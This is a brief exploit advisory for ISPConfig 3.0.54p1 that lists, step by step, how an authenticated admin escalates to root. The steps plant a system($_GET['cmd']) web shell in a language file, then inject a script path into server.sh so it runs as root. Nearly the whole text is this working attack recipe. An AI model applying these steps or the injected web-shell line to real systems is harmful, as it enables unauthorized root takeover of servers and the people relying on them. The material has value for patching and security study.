# Exploit Title: ISPConfig 3 authenticated admin Localroot vulnerability# Date: 7/25/14# Exploit Author: mra# Vendor Homepage: http://wwwispconfig.org# Version: 3.0.54p1# Tested on: ubuntu, centos# irc.criten.net #elite-chat
While logged in as admin user:
1)add a shell user
2) under option set gid to ispconfig
3) log in as that user
4) edit /usr/local/ispconfig/interface/lib/lang/en.lng with system($_GET['cmd']);5) browse to: http://server:8080/index.php?cmd=echo /tmp/script >>/usr/local/ispconfig/server/server.sh
6) create /tmp/script and put a command you wish to be executed as root.